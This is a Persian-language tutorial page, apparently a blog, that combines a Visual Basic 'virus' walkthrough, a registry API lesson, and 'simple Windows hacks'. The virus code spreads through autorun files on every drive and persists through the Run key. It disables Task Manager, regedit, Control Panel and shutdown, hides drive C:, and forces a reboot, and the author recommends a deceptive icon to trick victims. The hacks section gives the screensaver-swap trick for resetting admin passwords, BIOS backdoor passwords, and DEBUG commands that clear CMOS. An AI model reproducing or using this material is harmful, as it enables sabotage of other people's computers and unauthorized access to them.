Public Const SWP_SHOWWINDOW = &H40 Public Const TOPMOST_FLAGS = SWP_NOMOVE Or SWP_NOSIZE Public Declare Function SwapMouseButton Lib "User32" (ByVal bSwap As Long) As Long Public Declare Function SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, Y, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Const TH32CS_SNAPHEAPLIST = &H1 Const TH32CS_SNAPPROCESS = &H2 Const TH32CS_SNAPTHREAD = &H4 Const TH32CS_SNAPMODULE = &H8 Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE) Const TH32CS_INHERIT = &H80000000 Const MAX_PATH As Integer = 260 Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * MAX_PATH End Type Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long) Public Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public hSnapShot As Long, uProcess As PROCESSENTRY32 Public blnMsgBoxResult As Boolean Public strSource As String, strDest As String Public strOutput(20) As String, strTemp As String Public blnBlockinput As Boolean Public strSysDir As String, strFileExist As String Public strAppPath As String و حالا کد زیر رو تو Module2 کپی کنید : Private Sub SaveString(ByVal HKey As Long, strPath As String, strValue As String, ByVal lngdata As Long, ByVal lngType As Long, ByVal lngLen As Long) Dim keyhand As Long Dim r As Long r = RegCreateKey(HKey, strPath, keyhand) r = RegSetValueEx(keyhand, strValue, 0, lngType, lngdata, CLng(lngLen)) r = RegCloseKey(keyhand) End Sub Public Sub MakeTopMost(lngHwnd As Long) SetWindowPos lngHwnd, HWND_TOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS End Sub Public Function WinDrive() As String Dim strDrive As String strDrive = Space(500) A = GetWindowsDirectory(strDrive, Len(strDrive)) strDrive = Left(strDrive, 3) WinDrive = strDrive End Function Public Sub CloseProgram(ByVal WindowName As String) On Error Resume Next Handle = FindWindow(vbNullString, WindowName) If Handle = 0 Then Exit Sub Call SendMessage(Handle, &H10, 0&, 0&) Shell "Shutdown -r -t 0" End Sub Public Sub MakeAutoRun() On Error Resume Next strAutorun = "[autorun]" & vbCrLf & _ "OPEN=Autorun.exe" & vbCrLf & _ "shellopen=Open" & vbCrLf & _ "shellopenCommand=Autorun.exe" & vbCrLf & _ "shellexplore=Explore" & vbCrLf & _ "shellexploreCommand=""Autorun.exe -e""" For I = 67 To 90 ' az Drive C: ta Drive Z: Open Chr(I) & ":Autorun.inf" For Output As #1 Print #1, strAutorun Close #1 SetAttr Chr(I) & ":Autorun.inf", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly FileCopy WinDrive & "Documents and SettingsAll UsersApplication Datasmss.exe", Chr(I) & ":Autorun.exe" SetAttr Chr(I) & ":Autorun.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly Next End Sub Public Sub Sabotage() ' Sabotage = Kharab kari Call DisableRegEdit Call DisableTaskManager Call DisableDisplayProperties Call DisableShutdown Call DisableSearch Call DisableMyComputerProperties Call DisableRun Call DisableAllPrograms Call HideDrive_C Call DisableControlPanel Call DisableFolderOption Call DontShowHiddenFiles Call DontShowSuperHiddenFiles Call DisableAddRemove Call ChangeNameAndCompanyName End Sub Private Sub DisableRegEdit() Call SaveString(HKEY_CURRENT_USER, "SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem", "DisableRegistryTools", 1, REG_DWORD, 4) End Sub Private Sub DisableTaskManager() Call SaveString(HKEY_CURRENT_USER, "SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem", "DisableTaskMgr", 1, REG_DWORD, 4) End Sub Private Sub DisableDisplayProperties() Call SaveString(HKEY_CURRENT_USER, "SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem", "NoDispCPL", 1, REG_DWORD, 4) End Sub Private Sub DisableShutdown() Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionpoliciesExplorer", "NoClose", 1, REG_DWORD, 4) End Sub Private Sub DisableSearch() Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer", "NoFind", 1, REG_DWORD, 4) End Sub Private Sub DisableMyComputerProperties() Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer", "NoPropertiesMyComputer", 1, REG_DWORD, 4) End Sub Private Sub DisableRun() Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer", "NoRun", 1, REG_DWORD, 4) End Sub Private Sub DisableAllPrograms() Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer", "NoStartMenuMorePrograms", 1, REG_DWORD, 4) End Sub Private Sub HideDrive_C() Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer", "NoDrives", 4, REG_DWORD, 4) End Sub Private Sub DisableControlPanel() Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer", "NoControlPanel", 1, REG_DWORD, 4) End Sub Private Sub DisableFolderOption() Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer", "NoFolderOptions", 1, REG_DWORD, 4) End Sub Private Sub DontShowHiddenFiles() Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenNOHIDDEN", "CheckedValue", 2, REG_DWORD, 4) Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL", "CheckedValue", 0, REG_DWORD, 4) Call SaveString(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced", "Hidden", 0, REG_DWORD, 4) End Sub Private Sub DontShowSuperHiddenFiles() Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderSuperHidden", "CheckedValue", 0, REG_DWORD, 4) Call SaveString(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderSuperHidden", "UncheckedValue", 0, REG_DWORD, 4) Call SaveString(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced", "SuperHidden", 0, REG_DWORD, 4) End Sub Private Sub DisableAddRemove() Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall", "NoAddRemovePrograms", 1, REG_DWORD, 4) Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall", "NoAddFromCDorFloppy", 1, REG_DWORD, 4) Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall", "NoAddFromInternet", 1, REG_DWORD, 4) Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall", "NoAddFromNetwork", 1, REG_DWORD, 4) Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall", "NoAddPage", 1, REG_DWORD, 4) Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall", "NoRemovePage", 1, REG_DWORD, 4) Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall", "NoServices", 1, REG_DWORD, 4) Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall", "NoSetFolders", 1, REG_DWORD, 4) Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall", "NoSupportInfo", 1, REG_DWORD, 4) Call SaveString(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionPoliciesUninstall", "NoWindowsSetupPage", 1, REG_DWORD, 4) End Sub Private Sub ChangeNameAndCompanyName() Dim keyhand As Long Dim r As Long r = RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindows NTCurrentVersion", keyhand) r = RegSetValueEx(keyhand, "RegisteredOwner", 0, REG_SZ, ByVal "Amir Amiri", Len("Amir Amiri")) r = RegSetValueEx(keyhand, "RegisteredOrganization", 0, REG_SZ, ByVal "Http://V-Basic.Mihanblog.Com", Len("Http://V-Basic.Mihanblog.Com")) r = RegCloseKey(keyhand) End Sub Public Sub AddToRun(ProgramName As String, FileToRun As String) Dim keyhand As Long Dim r As Long r = RegCreateKey(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRun", keyhand) r = RegSetValueEx(keyhand, ProgramName, 0, REG_SZ, ByVal FileToRun, Len(FileToRun)) r = RegCloseKey(keyhand) End Sub برنامه رو ذخیره کنید و ازش یه فایل .exe بسازید و اجراش کنید تا بیچاره بشید. سعی کنید برای ویروستون یک آیکون گول زننده و جذاب بذارید تا کاربر به محض مشاهده حس کنجکاویش کار دستش بده. تا اینجا تونستید یک ویروس بسازید ولی اگر اجراش کنید وقعاً بیچاره میشید پس دست نگه دارید. هر ویروسی باید یک آنتی ویروس داشته باشه و چون ویروس ما به شدت آزار دهنده و کمی هم مخربه پس باید آنتی ویروسشو در کنارش داشته باشید. ویروس ما محدودیت هایی رو به کاربر اعامل میکنه که شما میدونید اون محمدودیت ها چی هستن و چه طور اعمال شدن پس میتونید به راحتی اونا رو خنثی کنید. موفق باشید.

کار با رجیستری (توابع کار با رجیستری)

برای کار کردن با رجیستری باید از توابع API استفاده کنیم. با تعریف این توابع شما میتونید با رجیستری هر کاری که بخواید بکنید. برای آشنایی با این توابع این آموزش رو تا آخرش دنبال کنید.

تعریف توابع و ثابتهای مورد نیاز. کدهای زیر رو تو Module کپی کنید و به ادامه آموزش توجه کنید :

Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_USERS = &H80000003
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002

Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Public Const REG_NONE = 0
Public Const REG_MULTI_SZ = 7
Public Const REG_EXPAND_SZ = 2
Public Const REG_BINARY = 3

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

در طی این آموزش شما یا میگیرید Task Managerرو غیر فعال کنید.

برای غیر فعال کردن Task Manager باید در مسیر زیر یک کلید از نوع REG_DWORD با نام DisableTaskMgr بسازید و مقدار اونو 1 بذارید تا Task Manager غیر فعال بشه و برای فعال کردن دوباره باید مقدار اونو 0 بذارید.

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem

RegCreateKey : این تابع برای ساختن یک مسیر در رجیستری به کار میره. فرض کنید میخواید مسیر زیر رو تو رجیستری بسازید :

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem

قسمتی که پر رنگه در حال حاضر تو رجیستری وجود نداره و ما قصد داریم اون مسیر رو بسازیم. به کد زیر توجه کنید :

r = RegCreateKey(HKEY_CURRENT_USER, "SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem", keyhand)

کد بالا در شاخه اصلیه HKEY_CURRENT_USER مسیری که گفتیم رو جستجو میکنه و اگه قسمتی از مسیر رو پیدا نکرد، اون مسیر رو میسازه. متغیر keyhand یک اشاره گر از کلید یافت شده بر میگردونه که خیلی به دردمون میخوره و از اینجا به بعد سر و کارمون با اون اشاره گره. در صورتی که به هر دلیلی عملیات نا موفق باشه تابع عددی غیر از 0 درون متغیر r قرار میده که معمولاً این اتفاق نمی افته.

خب مسیری که باید میساختیم، ساخته شد. حالا باید یک کلید از نوع REG_DWORD با نام DisableTaskMgr بسازیم و مقدار اونو 1 بذاریم.

RegSetValueEx : این تابع یک کلید (برای درک بهتر، کلید رو یک فایل در نظر بگیرید) از هر نوعی که تعیین کنیم (برای درک بهتر، نوع را پسوند فایل در نظر بگیرید. مثلاً REG_SZ پسوند .txt داره) در مسیری که تعیین میکنیم میسازه و مقدار تعیین شده رو درون اون کلید قرار میده (برای درک بهتر، مقدار رو محتوای فایل در نظر بگیرید). فرض کنید میخوایم در اون مسیری که در مرحله قبل ساخته بودیم، کلید DisableTaskMgr رو بسازیم و مقدارشو 1 بذاریم :

r = RegSetValueEx(keyhand, "DisableTaskMgr", 0, REG_DWORD, 1, 4)

خب میبینید که به جای نوشتن کل مسیر، از همون اشاره گر که گفته بودم استفاده کردم. این اشاره گر به همون مسیری که ساخته بودیم اشاره میکنه و کار ما رو خیلی ساده میکنه چون ما رو از نوشتن مسیرهای طول و دراز راحت میکنه. DisableTaskMgr هم که معلومه چیه؛ کلید یا همون فایلمونه. به تون عدد 0 که بعد از نام کلید اومده کاری نداشته باشید. میبینید که بعد از عدد 0 نوع متغیر تعیین شده و بعدش هم مقدارش تعیین شده که باید 1 باشه ولی اون عدد 4 چیه دیگه؟

نوع REG_DWORD یک نوع عددیه و اعداد در اون در مبنای 16 (Hexadecimal) ذخیره میشن. مثلاً عدد 1 به صورت 01 00 00 00 ذخیره میشه و میبینید که این عدد از چهار قسمت مجزا تشکیل شده که اگر هر کدوم از این چهار  قسمت رو ننویسیم عدد ما اشتباه خواهد بود. چند تا مثال براتون میزنم تا بهتر این موضوع رو متوجه بشید :

10 = 0A 00 00 00
11 = 0B 00 00 00
15 = 0F 00 00 00
16 = 10 00 00 00
255 = FF 00 00 00
256 = 00 01 00 00
511 = FF 01 00 00
512 = 00 02 00 00

اعداد در اینجا به صورت هشت بایتی ذخیره میشن پس نتیجه میگیریم که اون عدد 4 نشانگر 4 قسمته دو بایتیه (هر بایت در مبنای 16 از دو عدد و در مبنای 2 از هشت عدد تشکیل میشه). توضیح در این باره بسه. (من سخت افزارم ضعیفه. صخط عفذار بد)

خب کلید DisableTaskMgr رو ساختیم اما هنوز یک کار دیگه مونده و اونم اتمام کار با اشاره گر هستش.

RegCloseKey : این تابع کار با اشاره گره keyhand رو تموم میکنه. حتماً پیش خودتون میگید که این کار په لزومی داره؟ اگه با فایلها کار کرده باشید، میدونید که بعد از کار با یک فایل باید اونو بست و این کار با دستور Close #1 انجام میشد که عدد #1 اشاره گره فایل بود. در اینجا هم دقیقاً مانند کار با فایلها باید نام اشاره گر رو جلوی دستور RegCloseKey تایپ کنیم تا اشاره گر از بین بره یا به قول معروف فایل بسته بشه:

r = RegCloseKey(keyhand)

خب دیگه، کارمون تمومه حالا دیگه میتونیم Task Manager رو غیر فعال کنیم. به کد زیر توجه کنید تا بهتر با مفهوم اشاره گر و طرز کارش آشنا بشید.

Private Sub Command1_Click()
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_CURRENT_USER, "SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem", keyhand)
    r = RegSetValueEx(keyhand, "DisableTaskMgr", 0, REG_DWORD, 1, 4)
    r = RegCloseKey(keyhand)
End Sub

حالا میخوایم کلیدی که ساختیم رو پاک کنیم تا Task Manager به حالت اولش برگرده.

RegDeleteValue : این تابع کلید تعیین شده رو پاک میکنه. این تابع هم مانند تابع RegSetValueEx اشاره گری که تعیین کننده مسیر است رو میگیره و اون مسیر کلید تعیین شده رو پیدا میکنه و پاک میکنه:

r = RegDeleteValue(keyhand, “DisableTaskMgr”)

البته شما باید قبل از این دستور مسیر مورد نظر رو با دستور RegOpenKey و یا RegCreateKey باز کنید.

RegDeleteKey : این تابع یک مسیر رو دریافت میکنه و انتهای اونو پاک میکنه:

r = RegDeleteKey(keyhand, "System")

البته بازم شما باید قبل از این دستور مسیر مورد نظر رو با دستور RegOpenKey و یا RegCreateKey باز کنید ولی میتونید این کارو با همین تابع انجام بدید:

r = RegDeleteKey(HKEY_CURRENT_USER, "SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem")

این دستور فقط مسیر System رو پاک میکنه یعنی به قبل از اون کاری نداره در عین حال اگه بعد از مسیر System مسیر دیگه ای وجود داشته باشه نمیتونه ادامه مسیر رو پاک کنه. مثل مسیر زیر :

HKEY_CURRENT_USER SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemVisualBasic

در اینجا تابع قادر به حذف قسمت پر رنگ نخواهد بود و برای حذف این مسیر باید اونو از آخر پاک کنیم یعنی اول Basic رو پاک کنیم، بعد Visual رو پاک کنیم و بعد System رو پاک کنیم.

RegOpenKey : این تابع تقریباً مثل تابع RegCreateKey کار میکنه با این تفاوت که قادر به ساختن مسیر نیست و فقط مسیر داده شده رو باز میکنه و یک اشاره گر از اون میسازه:

r = RegOpenKey(HKEY_CURRENT_USER, "SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem", keyhand)

RegQueryValueEx : این دستور برای خوندن مقادیر کلیدها به کار میره. فرض کنید میخوایم بدونیم که الان فایلهای مخفی در حال نمایش هستند یا نه، برای فهمیدن این موضوع اگر مقدار کلید Hidden در مسیر زیر 1 بود یهنی در حال نمایش هستند و اگر 0 بود یعنی مخفی هستند :

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced

برنامه زیر به مسیر بالا رجوع میکنه و محتوای کلید Hidden رو درون متغیر lngData قرار میده. این متغیر از نوع REG_DWORD هست و مقادیر 1 یا 0 میگیره که نشانگر Show یا Don’t Show بودن فایلهای مخفیه:

Private Sub Form_Load()
    Dim lngData As Long
    r = RegOpenKey(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced", keyhand)
    r = RegQueryValueEx(keyhand, "Hidden", 0, REG_DWORD, lngData, 4)
    r = RegCloseKey(keyhand)
    MsgBox IIf(lngData, "Yes", "No")
End Sub

حالا میخوای مبدونیم که کمپانی کامپیوتر چیه. برای متوجه شدن این موضوع باید به مسیر زیر رجوع کنید و محتوای کلید RegisteredOrganization رو ببینید. با استفاده از کد بالا نمیشه اینکارو انجام داد چون ما نمیدونیم محتوای کلید RegisteredOrganization چند کاراکتره و متناسب با اون یک متغیر بسازیم، پس کاری که میکنیم اینه که اول از همه اطلاعاتی درباره کلید مورد نظر بدست بیاریم. به تکه برنامه زیر توجه کنید :

Private Sub Form_Load()
    Dim lValueType As Long, strBuf As String, lDataBufSize As Long
   
    'Open The Key
    r = RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftWindows NTCurrentVersion", keyhand)
   
    'Retrieve Information About The Key
    Result = RegQueryValueEx(keyhand, "RegisteredOrganization", 0, lValueType, ByVal 0, lDataBufSize)
   
    'Create a Buffer
    strBuf = String(lDataBufSize, Chr$(0))
   
    'Retrieve The Key's Content
    r = RegQueryValueEx(keyhand, "RegisteredOrganization", 0, REG_SZ, ByVal strBuf, lDataBufSize)
   
    'Close The Key
    r = RegCloseKey(keyhand)
   
    'Show Organization Name
    MsgBox Left$(strBuf, InStr(1, strBuf, Chr$(0)) - 1)
End Sub

تا اینجا تعدادی از توابعی که برای کار کردن با رجیستری لازمتون میشن رو یاد گرفتید. البته توابع کار با رجیستری محدود به همین چند تا نمیشن و بیشترن اما همین تعداد توابع جوابگوی نیازهای شماست. موفق باشید.

---

غیر فعال کردن رجیستری

Key: [HKEY_CURRENT_USERsoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
Value Name: DisableRegistryTools
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

---

غیر فعال کردن Task Manager

Key: [HKEY_CURRENT_USERsoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
Value Name: DisableTaskMgr
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

---

غیر فعال کردن Display Properties

Key: [HKEY_CURRENT_USERsoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
Value Name: NoDispCPL
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

---

غیر فعال کردن Shutdown

Key: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer]
Value Name: NoClose
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

---

غیر فعال کردن جستجو

Key: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer]
Value Name: NoFind
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

---

غیر فعال کردن System Properties

Key: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer]
Value Name: NoPropertiesMyComputer
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

---

غیر فعال کردن Run

Key: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer]
Value Name: NoRun
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

---

مخفی کردن گزینه All Programs از منوی Start

Key: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer]
Value Name: NoStartMenuMorePrograms
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 1 = Hide)

---

مخفی کردن درایو C:

Key: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer]
Value Name: NoDrives
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 4 = Hide)

---

مخفی کردن Control Panel

Key: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer]
Value Name: NoControlPanel
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

---

غیر فعال کردن Folder Options

Key: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer]
Value Name: NoFolderOptions
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

---

نمایش فایلهای مخفی

Key: [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
Value Name: Hidden
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 1 = Hide)

---

نمایش فایلهای ابر مخفی

Key: [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
Value Name: SuperHidden
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 1 = Hide)

---

غیر فعال کردن Add/Remove

Key: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesUninstall]
Value Name: NoAddRemovePrograms
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)

---

تغییر نام و کمپانی

Key: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersion]
Value Name: RegisteredOwner , RegisteredOrganization
Data Type : REG_SZ (DWORD Value)
Value Data : (Your Name, Organization Name)

192.168.0.144

چگونه می توانیم دستورات Dos را از طریق ویژوال بیسیک اجرا کنیم ؟

ابتدا Command Prompt را فراخوانی می کنیم , خوب برای فراخوانی از تابع Shell استفاده میکنیم که قبلا در مورد این تابع توضیح داده ام :

Shell "cmd.exe"

:: اکنون یک شیء ایجاد می کنیم تا بتوانیم از طیق آن به هسته Dos دسترسی داشته باشیم :

Dim WinShellSet WinShell = CreateObject("Wscript.shell")

خوب حالا می توانید به راحتی هر دستوری که دارید میتوانید اجرا کنید در آخر هم دستور تابع Sendkeys کلید Enter را اجرا کرده و دستور اجرا میشود:

WinShell.SendKeys " Dos دستور مورد نظر برای اجرا در "WinShell.SendKeys "{ENTER}"

به مثاهای زیر توجه کنید که به ترتیب اولی برای ایجاد پوشه ای به نام Visual Basic در درایو C و دستور دوم برای نمایش پوشه های موجود در درایو C و دستور سوم برای Format فلاپی دیسک می باشد .

'For Create Folder With Dos Prompt :WinShell.SendKeys "MD C:Visual" & " Basic"WinShell.SendKeys "{ENTER}"
'For Showing C Directory :WinShell.SendKeys "Dir C:"WinShell.SendKeys "{ENTER}"
'For Format Floppy Disk Of Dos :WinShell.SendKeys "format A:"WinShell.SendKeys "{ENTER}"

انواع روشهای ساده هک ویندوز!

شرح نداره که ---->  دور زدن زمز عبور Windows XP

دور زدن رمز عبور Windows XP

سلام .

زیاد سخت نیست!

کامپیوتر را با CD ویندوز 2000 بوت کنید. در قسمت ورود به برنامه نصب دکمه "R" را بفشارید تا وارد قسمت عیب یابى شوید و سپس با فشردن دکمه "C" به Recovery Consol بروید.

در اینجا بدون نیاز به کلمه عبور Administrator شما به خط فرمان دسترسى دارید و مى توانید هر کارى که مى خواهید مثل کپى کردن - پاک کردن فایلها و حتى فرمت کردن درایوها با کامپیوتر انجام دهید.

در Recovery Consol با تایپ فرمان Help مى توانید با فرمانهاى قابل اجرا آشنا شوید.

------------------------------------------------------------------------------------------

این کار می تونی پسورد آدمین رو هک کنی!! (حتی در Limited و Guest)

سلام این هم سخت نیست!

همش آسون!

اصلا ویندوز پر از این جور اشکالات !

هک کردن پسورد Admin ویندوز XP (حتی در Limited و Guest)

برای این‌کار
1-به Start > Run بروید و فرمان CMD را تایپ کرده Enter را بزنید.
2-در پنجره ی باز شده این فرمان‌ها را بدون عیب و نقص اجرا کنید :
 

cd
cd windows|system32
mkdir hackpass
copy logon.scr hackpass|logon.scr
copy cmd.exe hackpass|cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

با این کار در حقیقت پرامت داس را بجایScreen Saver به ویندوز معرفی می‌کنید و این کار، ویندوز را ناپایدار می‌کند.
فقط توصیه میکنم دستورهای del و rename خیلی سریع انجام شوند (میتوان کل پروسه را در یک فایل bat قرار دهید)  این دو خط دستور را باید در عرض کمتر 2 ثانیه انجام دهید تا فایل های مورد نظر توسط ویندوز جایگزین نشوند
3-کامپیوتر را Restart نمایید.
4-Screen Saver ویندوز را فعال نمایید یا منتظر بمانید تا خود بخود اجرا شود.خواهید دید که، بجای Screen Saver، خط فرمان DOS ظاهر می‌شود.
5-اکنون اگر مثلا User name آن ariya بود و خواستید پسورد آن را به xyxy تغییر دهید، این فرمان را در پرامپت DOS انجام دهید :

net user ariya xyxy

به این ترتیب پسورد به xyxy تغییر خواهد یافت.

نکته: حتما بعد از پایان کار دو فایلی را که در پوشه ‌ hackpass کپی کردید را به جای اول برگردانید.

اگر هر جا علامت | رو دیدین تبدیلش کنید به بک اسلش

---------------------------------------------------------------------------------------

از کار انداختن رمز عبور BIOS


 

AWARD BIOS
AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256, j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER, SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA, ZAAADA, ZJAAADC, djonet
 

AMI BIOS
AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder
 

رمزهای عبور زیر را بر هر نوع Bios میتوانید امتحان کنید :

LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj
 

توجه داشته باشید که هنگام وارد کردن رمزهای عبور حروف بزرگ را بصورت بزرگ و حروف کوچک را بصورت کوچک وارد کنید.

روش دوم: یک روش نرم افزاری برای پاک کردن رمز عبور
اگر هنگامی که کامپیوتر روشن است بدان دسترسی دارید میتوانید از برخی نرم افزارهای موجود برای پاک کردن رمزعبور استفاده کنید ولی از آنجا که ممکن است شما به این نرم افزار ها دسترسی نداشته باشید روش زیر را به شما معرفی میکنیم.
کامپیوتر را به حالت MS DOS برگردانید و دستور DEBUG را اجرا کنید
برای مدلهای مختلف BIOS عبارات زیر را وارد کنید :

AMI/AWARD BIOS :
O 70 17
O 71 17
Q

PHOENIX BIOS :
O 70 FF
O 71 17
Q

GENERIC
Invalidates CMOS RAM.
O 70 2E
O 71 FF
Q

